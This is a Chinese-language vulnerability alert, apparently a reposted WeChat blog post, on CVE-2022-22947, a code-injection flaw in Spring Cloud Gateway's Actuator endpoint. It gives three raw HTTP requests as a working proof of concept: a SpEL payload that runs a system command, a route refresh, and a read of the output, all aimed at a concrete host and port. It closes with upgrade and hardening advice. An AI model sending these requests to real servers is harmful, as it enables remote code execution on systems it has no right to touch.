CVE-2022-22947【漏洞预警】

admin 2022年3月3日22:02:29评论426 views字数 2346阅读7分49秒阅读模式

CVE-2022-22947简介

     危害等级:高危

      POC/EXP情况:已公开

      CNVD编号:CNNVD-2022-16402

     影响范围:

    • VMWare Spring Cloud GateWay 3.1.0

    • VMWare Spring Cloud GateWay >=3.0.0,<=3.0.6

    • VMWare Spring Cloud GateWay <3.0.0

漏洞描述

    Spring Cloud Gateway存在远程代码执行漏洞,该漏洞是发生在Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可利用该漏洞通过恶意创建允许在远程主机上执行任意远程请求。

漏洞利用(手动)

    第一步:添加含有恶意路由

    

POST /actuator/gateway/routes/Anantest HTTP/1.1Host: 123.58.236.76:36205Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329
{ "id": "Anantest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}" } }], "uri": "http://example.com"}

CVE-2022-22947【漏洞预警】

第二步:刷新路由网关,第一步的表达式将执行

POST /actuator/gateway/refresh HTTP/1.1Host: 123.58.236.76:36205Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

CVE-2022-22947【漏洞预警】

第三步:访问恶意路由,执行命令

GET /actuator/gateway/routes/Anantest HTTP/1.1Host: 123.58.236.76:36205Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0




CVE-2022-22947【漏洞预警】


漏洞利用(自动)

    获取脚本下载地址:  公众号回复:CVE-2022-22947


CVE-2022-22947【漏洞预警】


漏洞修复

    升级至安全版本

    临时方案:

 如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。 如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。


参考

    https://www.cnvd.org.cn/flaw/show/CNVD-2022-16402

    https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947


历史回顾

CVE-2022-23131(漏洞预警)

阿里斯,公众号:小白学ITCVE-2022-23131(漏洞预警)

clash爆出rce【漏洞预警】

阿里斯,公众号:小白学ITclash爆出rce【漏洞预警】


关于俄罗斯与乌克兰的解读【转载】

阿里斯,公众号:小白学IT关于俄罗斯与乌克兰的解读【转载】



原文始发于微信公众号(小白学IT):CVE-2022-22947【漏洞预警】

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月3日22:02:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-22947【漏洞预警】https://cn-sec.com/archives/813972.html

发表评论

匿名网友 填写信息